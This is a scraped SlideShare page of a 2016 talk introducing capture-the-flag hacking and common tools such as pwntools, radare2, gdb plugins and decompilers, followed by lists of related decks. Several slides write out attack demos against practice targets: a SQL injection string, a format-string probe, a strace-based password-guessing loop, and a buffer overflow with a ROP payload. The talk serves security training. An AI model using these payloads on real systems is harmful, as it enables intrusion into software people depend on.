SlideShare a Scribd company logo
A CTF Hackers Toolbox
Grazer Linuxtage 2016
$ who
mike/@f0rki
f0rki@hack.more.systems
CS/InfoSec Student
CTF Player since 2010
@stefan2904
stefan@hack.more.systems
CS/InfoSec/CI Student
CTF Player since 2014
CTF: Capture The Flag
Collaborative hacking competitions
Teams vs. Teams
The goal is to capture ags
CTF{THIS_IS_A_FLAG}
CTF Type: Jeopardy
Figure: Sharif CTF Challenge Board
CTF Type: Attack-Defense
Figure: RUCTFe 2015 Network Schema (source: RUCTF org)
CTF Type: Attack-Defense
Figure: FAUST CTF 2015 scoreboard
Why CTFs?
It's fun!
Gain experience in Information Security
Challenges modeled after real-world problems
Sometimes real-world bugs modeled after CTF bugs?
LosFuzzys: A CTF Team in Graz
We Like Bugs!
LosFuzzys: A CTF Team in Graz
A group of people interested in information security
Primarily CS/SW/ICE Students from TUGraz
But we welcome anyone interested and motivated :)
and maybe even you ;)
Irregular Meet-ups
Where to start?
Talk to us! :-)
https://hack.more.systems
twitter: @LosFuzzys
Read writeups!
Repo: github.com/ctfs
Ours: hack.more.systems/writeups
CTF Toolbox
CTF Toolbox
Great diversity of challenges
Some things turn up frequently
Knowledge of technology necessary
Experience helps a lot
Using the right tools is essential
assuming you know how to use them . . .
Scripting is your best Friend
Be comfortable in automating things
Use whatever works best
bash, zsh etc.
Python, Ruby etc.
Command-Line-Fu is very helpful
Standard utils  grep, sed, awk, sort, cut, uniq, . . .
Network stu  nc, socat, dig, nmap
Query json  jq
HTTP  curl
. . .
Pipe together to get your results!
Bash Password Guessing
f o r x in q w e r t y u i o p a s d f g h j k l z 
x c v b n m Q W E R T Y U I O P A S D F G H J 
K L Z X C V B N M 1 2 3 4 5 6 7 8 9 0 − _ ?
do
echo = $x =
# count s i g a c t i o n s y s c a l l s
s t r a c e ./ stage3 . bin Did_you_l$x$x$x$x$x$x$x$x 21 
| grep s i g a c t i o n 
| wc −l
done  log
# get h i g h e s t count of s i g a c t i o n s and t r i g g e r i n g char
cat log | grep −B 1 
$ ( cat log | grep −v = | s o r t | uniq | t a i l −n 1)
Automated Browsing  python-requests
import r e q u e s t s
URL = ' http :// c t f . example . com '
s = r e q u e s t s . s e s s i o n ()
r = s . post (URL + ' / l o g i n ' ,
data={ ' user ' : ' fuzzy ' , ' pass ' : ' 1234 ' })
# GET http :// c t f . example . com/ vuln ?x=' or%201=1−−x
resp = s . get (URL + ' / vuln ' ,
params={ ' x ' : '  ' or 1=1 −−x ' })
# s e s s i o n cookie automagically used here
p r i n t resp . t e x t
# f l a g {some_flag_of_some_service}
Dirty Networking  pwntools
from pwn import ∗
r = remote ( ' c t f . example . com ' , 1337)
# l i n e based
r . r e c v l i n e ()
r . s e n d l i n e ( 'HELO %s%s%s%s ' )
r . r e c v u n t i l ( ' 250 Hello ' )
data = r . recv (4)
# unpack LE uint32 from bin
i = u32 ( data )
log . i n f o ( ' r e c e i v e d uint32 {} ' . format ( i ))
# pack BE uint32 to bin
r . send ( p32 (1094795585 , endian=' big ' ))
r . r e c v l i n e ()
Finding  Analyzing Vulnerabilities
Analyzing Java/.NET Apps
Great decompilers!
Java/Dalvik bytecode
intellij built-in decompiler (fernower), procyon
http://www.javadecompilers.com/
Android apps/Dalvik bytecode
apktool, smali/baksmali, jadx
Xposed
.NET bytecode
ILSpy, Jetbrains dotPeek
A wild binary appears!
$ f i l e ./ pwn
pwn : ELF 32− b i t LSB executable , I n t e l 80386 ,
v e r s i o n 1 (GNU/ Linux ) , s t a t i c a l l y linked ,
f o r GNU/ Linux 2 . 6 . 2 4 ,
not s t r i p p e d
$ objdump -d ./pwn | less
Keep Calm
And
Use radare2
From git
radare2  example commands
Search for functions containing exec
afl~exec
Show/search all strings in the le
izz
izz~FLAG
Compute CRC32 over next 32 byte
#crc32 32
Binary Decompilers
No really good open source binary decompilers :(
The radare guys are working on one
Commercial/Closed-Source
Hex-Rays/IDA Pro Decompiler ($$$)
Hopper ($)
retdec (free, webservice, no x86_64)
Debugging?
Debuggers
Use gdb with one of those:
PEDA
GEF
pwndbg
voltron
gdb-dashboard
gdb alternatives: lldb, radare2
Newer debugging approaches
qira
rr
Pwning!
$ mkfifo ./ f i f o
$ ./ pwn ./ f i f o  python −c ' p r i n t (A∗4128) '  ./ f i f o
[ 1 ] 9391
The f i l e has been saved s u c c e s s f u l l y
[ 1 ] + 9391 segmentation f a u l t ( core dumped) ./ pwn ./ f i f o
$ dmesg | t a i l −n 1
pwn [ 9 3 9 1 ] : s e g f a u l t at 41414141 ip 0000000041414141
sp 00000000 ffb6d340 e r r o r 14
pwntools again!
from pwn import ∗ # NOQA
v e l f = ELF(  ./ pwn )
r = ROP( v e l f )
r . c a l l (  e x i t  , [ 4 2 ] )
payload = A ∗ 4124 + s t r ( r )
# launch process
vp = process ( [  ./ pwn ,  ./ f i f o  ] )
gdb . attach ( vp )
# break ∗0 x8048f4e
with open (  ./ f i f o  , w ) as f :
f . w r i t e ( payload )
# forward s t d i n / stdout to process s t d i n / stdout
vp . i n t e r a c t i v e ()
pwntools/binjitsu
I/O abstraction (called Tubes)
ELF parser/info
Return Oriented Programming (ROP)
Shellcode
plug'n'pwn
shellcode builder
Binary data parsing
. . .
Cryptography
Crypto Tools
Pen  Paper
sage
CAS  python
packages implementing attacks, e.g.
python-paddingoracle
hashpumpy (hash length extension attack)
. . .
Learn to Improvise
Premature optimization* is the root of all evil!
* also commenting code
* also clean code
(only true for attack  during CTFs!)
If it works once, . . . it works!
Code-reuse between dierent CTFs!
Post-CTF code cleanup would be good . . .
A fool with a tool is still a fool!
https://hack.more.systems
Thanks to
all LosFuzzys members
tuflowgraphy.at
realraum
IAIK
Writeups of Used Examples
https://hack.more.systems/writeups
9447ctf: premonition (web)
NDH quals 2016: matriochka (reversing)
NDH quals 2016: secure le reader (pwn)
don't be eve!

More Related Content

What's hot

OSPF On Router OS7
OSPF On Router OS7OSPF On Router OS7
OSPF On Router OS7
GLC Networks
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
Sergey Soldatov
 
Windows Threat Hunting
Windows Threat HuntingWindows Threat Hunting
Windows Threat Hunting
GIBIN JOHN
 
Network Programming: Data Plane Development Kit (DPDK)
Network Programming: Data Plane Development Kit (DPDK)Network Programming: Data Plane Development Kit (DPDK)
Network Programming: Data Plane Development Kit (DPDK)
Andriy Berestovskyy
 
Linux'a Giris ve VirtualBox a Ubuntu Kurulumu
Linux'a Giris ve VirtualBox a Ubuntu KurulumuLinux'a Giris ve VirtualBox a Ubuntu Kurulumu
Linux'a Giris ve VirtualBox a Ubuntu Kurulumu
Ahmet Gürel
 
How to Plan Purple Team Exercises
How to Plan Purple Team ExercisesHow to Plan Purple Team Exercises
How to Plan Purple Team Exercises
Haydn Johnson
 
Linux Kernel I/O Schedulers
Linux Kernel I/O SchedulersLinux Kernel I/O Schedulers
Linux Kernel I/O Schedulers
RajKumar Rampelli
 
Bypass_AV-EDR.pdf
Bypass_AV-EDR.pdfBypass_AV-EDR.pdf
Bypass_AV-EDR.pdf
Farouk2nd
 
Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!
Ray Jenkins
 
4章 Linuxカーネル - 割り込み・例外 3
4章 Linuxカーネル - 割り込み・例外 34章 Linuxカーネル - 割り込み・例外 3
4章 Linuxカーネル - 割り込み・例外 3
mao999
 
netLec5.pdf
netLec5.pdfnetLec5.pdf
netLec5.pdf
MuthuramanElangovan
 
Temel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve KomutlarıTemel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve Komutları
Ahmet Gürel
 
Ağ Tabanlı Saldırı Tespit Sistemleri
Ağ Tabanlı Saldırı Tespit SistemleriAğ Tabanlı Saldırı Tespit Sistemleri
Ağ Tabanlı Saldırı Tespit SistemleriCihat Işık
 
Intel DPDK Step by Step instructions
Intel DPDK Step by Step instructionsIntel DPDK Step by Step instructions
Intel DPDK Step by Step instructions
Hisaki Ohara
 
Windows Live Forensics 101
Windows Live Forensics 101Windows Live Forensics 101
Windows Live Forensics 101
Arpan Raval
 
systemd
systemdsystemd
systemd
nussbauml
 
Wireshark Tutorial
Wireshark TutorialWireshark Tutorial
Wireshark Tutorial
Coursenvy.com
 
Tcpdump ile Trafik Analizi(Sniffing)
Tcpdump ile Trafik Analizi(Sniffing)Tcpdump ile Trafik Analizi(Sniffing)
Tcpdump ile Trafik Analizi(Sniffing)
BGA Cyber Security
 
Debugging linux kernel tools and techniques
Debugging linux kernel tools and  techniquesDebugging linux kernel tools and  techniques
Debugging linux kernel tools and techniques
Satpal Parmar
 
eBPF Perf Tools 2019
eBPF Perf Tools 2019eBPF Perf Tools 2019
eBPF Perf Tools 2019
Brendan Gregg
 

What's hot (20)

OSPF On Router OS7
OSPF On Router OS7OSPF On Router OS7
OSPF On Router OS7
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
 
Windows Threat Hunting
Windows Threat HuntingWindows Threat Hunting
Windows Threat Hunting
 
Network Programming: Data Plane Development Kit (DPDK)
Network Programming: Data Plane Development Kit (DPDK)Network Programming: Data Plane Development Kit (DPDK)
Network Programming: Data Plane Development Kit (DPDK)
 
Linux'a Giris ve VirtualBox a Ubuntu Kurulumu
Linux'a Giris ve VirtualBox a Ubuntu KurulumuLinux'a Giris ve VirtualBox a Ubuntu Kurulumu
Linux'a Giris ve VirtualBox a Ubuntu Kurulumu
 
How to Plan Purple Team Exercises
How to Plan Purple Team ExercisesHow to Plan Purple Team Exercises
How to Plan Purple Team Exercises
 
Linux Kernel I/O Schedulers
Linux Kernel I/O SchedulersLinux Kernel I/O Schedulers
Linux Kernel I/O Schedulers
 
Bypass_AV-EDR.pdf
Bypass_AV-EDR.pdfBypass_AV-EDR.pdf
Bypass_AV-EDR.pdf
 
Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!
 
4章 Linuxカーネル - 割り込み・例外 3
4章 Linuxカーネル - 割り込み・例外 34章 Linuxカーネル - 割り込み・例外 3
4章 Linuxカーネル - 割り込み・例外 3
 
netLec5.pdf
netLec5.pdfnetLec5.pdf
netLec5.pdf
 
Temel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve KomutlarıTemel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve Komutları
 
Ağ Tabanlı Saldırı Tespit Sistemleri
Ağ Tabanlı Saldırı Tespit SistemleriAğ Tabanlı Saldırı Tespit Sistemleri
Ağ Tabanlı Saldırı Tespit Sistemleri
 
Intel DPDK Step by Step instructions
Intel DPDK Step by Step instructionsIntel DPDK Step by Step instructions
Intel DPDK Step by Step instructions
 
Windows Live Forensics 101
Windows Live Forensics 101Windows Live Forensics 101
Windows Live Forensics 101
 
systemd
systemdsystemd
systemd
 
Wireshark Tutorial
Wireshark TutorialWireshark Tutorial
Wireshark Tutorial
 
Tcpdump ile Trafik Analizi(Sniffing)
Tcpdump ile Trafik Analizi(Sniffing)Tcpdump ile Trafik Analizi(Sniffing)
Tcpdump ile Trafik Analizi(Sniffing)
 
Debugging linux kernel tools and techniques
Debugging linux kernel tools and  techniquesDebugging linux kernel tools and  techniques
Debugging linux kernel tools and techniques
 
eBPF Perf Tools 2019
eBPF Perf Tools 2019eBPF Perf Tools 2019
eBPF Perf Tools 2019
 

Viewers also liked

Ctf For Beginner
Ctf For BeginnerCtf For Beginner
Ctf For Beginner
Wei-Bo Chen
 
Playing 44CON CTF for fun and profit
Playing 44CON CTF for fun and profitPlaying 44CON CTF for fun and profit
Playing 44CON CTF for fun and profit
44CON
 
EUhackathon 2015: Team Tschunk
EUhackathon 2015: Team TschunkEUhackathon 2015: Team Tschunk
EUhackathon 2015: Team Tschunk
Stefan
 
Building the 44CON CTF
Building the 44CON CTFBuilding the 44CON CTF
Building the 44CON CTF
44CON
 
Capture The Flag
Capture The FlagCapture The Flag
Capture The Flag
Huu Tung Nguyen
 
Python
PythonPython
Python
Wei-Bo Chen
 
Root the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF AdministrationRoot the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF Administration
Christopher Grayson
 
HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享
Chong-Kuan Chen
 
Best nature photography in india
Best nature photography in indiaBest nature photography in india
Best nature photography in india
pankaj788
 
How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF
n|u - The Open Security Community
 
Operating Systems - A Primer
Operating Systems - A PrimerOperating Systems - A Primer
Operating Systems - A Primer
Saumil Shah
 
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
Canadian Organization for Rare Disorders
 
The art of standing out.
The art of standing out.The art of standing out.
The art of standing out.
Alex Esser
 
Implantación de una sección bilingüe
Implantación de una sección bilingüeImplantación de una sección bilingüe
Implantación de una sección bilingüeCarmen Arias
 
Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03Publis NCM
 
ODS2 Client Cases
ODS2  Client CasesODS2  Client Cases
ODS2 Client Cases
boudealink
 
Hypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio MoraHypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio Moramaditabalnco
 
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Ivan Marcos Toledo
 
Alimentos transgénicos
Alimentos transgénicosAlimentos transgénicos
Alimentos transgénicosmakaciencia
 
Caso de estudio 6
Caso de estudio 6Caso de estudio 6
Caso de estudio 6Liz Rembao
 

Viewers also liked (20)

Ctf For Beginner
Ctf For BeginnerCtf For Beginner
Ctf For Beginner
 
Playing 44CON CTF for fun and profit
Playing 44CON CTF for fun and profitPlaying 44CON CTF for fun and profit
Playing 44CON CTF for fun and profit
 
EUhackathon 2015: Team Tschunk
EUhackathon 2015: Team TschunkEUhackathon 2015: Team Tschunk
EUhackathon 2015: Team Tschunk
 
Building the 44CON CTF
Building the 44CON CTFBuilding the 44CON CTF
Building the 44CON CTF
 
Capture The Flag
Capture The FlagCapture The Flag
Capture The Flag
 
Python
PythonPython
Python
 
Root the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF AdministrationRoot the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF Administration
 
HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享
 
Best nature photography in india
Best nature photography in indiaBest nature photography in india
Best nature photography in india
 
How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF
 
Operating Systems - A Primer
Operating Systems - A PrimerOperating Systems - A Primer
Operating Systems - A Primer
 
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
 
The art of standing out.
The art of standing out.The art of standing out.
The art of standing out.
 
Implantación de una sección bilingüe
Implantación de una sección bilingüeImplantación de una sección bilingüe
Implantación de una sección bilingüe
 
Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03
 
ODS2 Client Cases
ODS2  Client CasesODS2  Client Cases
ODS2 Client Cases
 
Hypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio MoraHypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio Mora
 
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
 
Alimentos transgénicos
Alimentos transgénicosAlimentos transgénicos
Alimentos transgénicos
 
Caso de estudio 6
Caso de estudio 6Caso de estudio 6
Caso de estudio 6
 

Similar to A CTF Hackers Toolbox

Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - RoutersLogicaltrust pl
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersYury Chemerkin
 
Python and Machine Learning
Python and Machine LearningPython and Machine Learning
Python and Machine Learning
trygub
 
Debug generic process
Debug generic processDebug generic process
Debug generic process
Vipin Varghese
 
How Secure Are Docker Containers?
How Secure Are Docker Containers?How Secure Are Docker Containers?
How Secure Are Docker Containers?
Ben Hall
 
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
Joel Porquet
 
Os lab final
Os lab finalOs lab final
Os lab final
LakshmiSarvani6
 
Linux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloudLinux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloud
Andrea Righi
 
Cypherock Assessment (1).pdf
Cypherock Assessment (1).pdfCypherock Assessment (1).pdf
Cypherock Assessment (1).pdf
PARNIKA GUPTA
 
golang_getting_started.pptx
golang_getting_started.pptxgolang_getting_started.pptx
golang_getting_started.pptx
Guy Komari
 
All I know about rsc.io/c2go
All I know about rsc.io/c2goAll I know about rsc.io/c2go
All I know about rsc.io/c2goMoriyoshi Koizumi
 
Kamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, codeKamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, code
Kamil Witecki
 
Performance Profiling in Rust
Performance Profiling in RustPerformance Profiling in Rust
Performance Profiling in Rust
InfluxData
 
Introduction to Compiler Development
Introduction to Compiler DevelopmentIntroduction to Compiler Development
Introduction to Compiler Development
Logan Chien
 
Advanced Debugging Using Java Bytecodes
Advanced Debugging Using Java BytecodesAdvanced Debugging Using Java Bytecodes
Advanced Debugging Using Java Bytecodes
Ganesh Samarthyam
 
Rust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineRust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command Line
Matt Provost
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)
Alexandre Moneger
 
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak   CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
PROIDEA
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Vincenzo Iozzo
 
Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?
Aleksandr Yampolskiy
 

Similar to A CTF Hackers Toolbox (20)

Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
 
Python and Machine Learning
Python and Machine LearningPython and Machine Learning
Python and Machine Learning
 
Debug generic process
Debug generic processDebug generic process
Debug generic process
 
How Secure Are Docker Containers?
How Secure Are Docker Containers?How Secure Are Docker Containers?
How Secure Are Docker Containers?
 
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
 
Os lab final
Os lab finalOs lab final
Os lab final
 
Linux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloudLinux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloud
 
Cypherock Assessment (1).pdf
Cypherock Assessment (1).pdfCypherock Assessment (1).pdf
Cypherock Assessment (1).pdf
 
golang_getting_started.pptx
golang_getting_started.pptxgolang_getting_started.pptx
golang_getting_started.pptx
 
All I know about rsc.io/c2go
All I know about rsc.io/c2goAll I know about rsc.io/c2go
All I know about rsc.io/c2go
 
Kamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, codeKamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, code
 
Performance Profiling in Rust
Performance Profiling in RustPerformance Profiling in Rust
Performance Profiling in Rust
 
Introduction to Compiler Development
Introduction to Compiler DevelopmentIntroduction to Compiler Development
Introduction to Compiler Development
 
Advanced Debugging Using Java Bytecodes
Advanced Debugging Using Java BytecodesAdvanced Debugging Using Java Bytecodes
Advanced Debugging Using Java Bytecodes
 
Rust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineRust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command Line
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)
 
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak   CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
 
Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?
 

Recently uploaded

Corporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMSCorporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMS
Tendenci - The Open Source AMS (Association Management Software)
 
OpenFOAM solver for Helmholtz equation, helmholtzFoam / helmholtzBubbleFoam
OpenFOAM solver for Helmholtz equation, helmholtzFoam / helmholtzBubbleFoamOpenFOAM solver for Helmholtz equation, helmholtzFoam / helmholtzBubbleFoam
OpenFOAM solver for Helmholtz equation, helmholtzFoam / helmholtzBubbleFoam
takuyayamamoto1800
 
Enterprise Resource Planning System in Telangana
Enterprise Resource Planning System in TelanganaEnterprise Resource Planning System in Telangana
Enterprise Resource Planning System in Telangana
NYGGS Automation Suite
 
Vitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume MontevideoVitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume Montevideo
Vitthal Shirke
 
How to Position Your Globus Data Portal for Success Ten Good Practices
How to Position Your Globus Data Portal for Success Ten Good PracticesHow to Position Your Globus Data Portal for Success Ten Good Practices
How to Position Your Globus Data Portal for Success Ten Good Practices
Globus
 
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERRORTROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
Tier1 app
 
Exploring Innovations in Data Repository Solutions - Insights from the U.S. G...
Exploring Innovations in Data Repository Solutions - Insights from the U.S. G...Exploring Innovations in Data Repository Solutions - Insights from the U.S. G...
Exploring Innovations in Data Repository Solutions - Insights from the U.S. G...
Globus
 
A Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdfA Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdf
kalichargn70th171
 
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus
 
top nidhi software solution freedownload
top nidhi software solution freedownloadtop nidhi software solution freedownload
top nidhi software solution freedownload
vrstrong314
 
Developing Distributed High-performance Computing Capabilities of an Open Sci...
Developing Distributed High-performance Computing Capabilities of an Open Sci...Developing Distributed High-performance Computing Capabilities of an Open Sci...
Developing Distributed High-performance Computing Capabilities of an Open Sci...
Globus
 
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdfDominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
AMB-Review
 
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Anthony Dahanne
 
May Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdfMay Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdf
Adele Miller
 
Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024
Globus
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
Matt Welsh
 
Graphic Design Crash Course for beginners
Graphic Design Crash Course for beginnersGraphic Design Crash Course for beginners
Graphic Design Crash Course for beginners
e20449
 
Cracking the code review at SpringIO 2024
Cracking the code review at SpringIO 2024Cracking the code review at SpringIO 2024
Cracking the code review at SpringIO 2024
Paco van Beckhoven
 
RISE with SAP and Journey to the Intelligent Enterprise
RISE with SAP and Journey to the Intelligent EnterpriseRISE with SAP and Journey to the Intelligent Enterprise
RISE with SAP and Journey to the Intelligent Enterprise
Srikant77
 
A Sighting of filterA in Typelevel Rite of Passage
A Sighting of filterA in Typelevel Rite of PassageA Sighting of filterA in Typelevel Rite of Passage
A Sighting of filterA in Typelevel Rite of Passage
Philip Schwarz
 

Recently uploaded (20)

Corporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMSCorporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMS
 
OpenFOAM solver for Helmholtz equation, helmholtzFoam / helmholtzBubbleFoam
OpenFOAM solver for Helmholtz equation, helmholtzFoam / helmholtzBubbleFoamOpenFOAM solver for Helmholtz equation, helmholtzFoam / helmholtzBubbleFoam
OpenFOAM solver for Helmholtz equation, helmholtzFoam / helmholtzBubbleFoam
 
Enterprise Resource Planning System in Telangana
Enterprise Resource Planning System in TelanganaEnterprise Resource Planning System in Telangana
Enterprise Resource Planning System in Telangana
 
Vitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume MontevideoVitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume Montevideo
 
How to Position Your Globus Data Portal for Success Ten Good Practices
How to Position Your Globus Data Portal for Success Ten Good PracticesHow to Position Your Globus Data Portal for Success Ten Good Practices
How to Position Your Globus Data Portal for Success Ten Good Practices
 
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERRORTROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
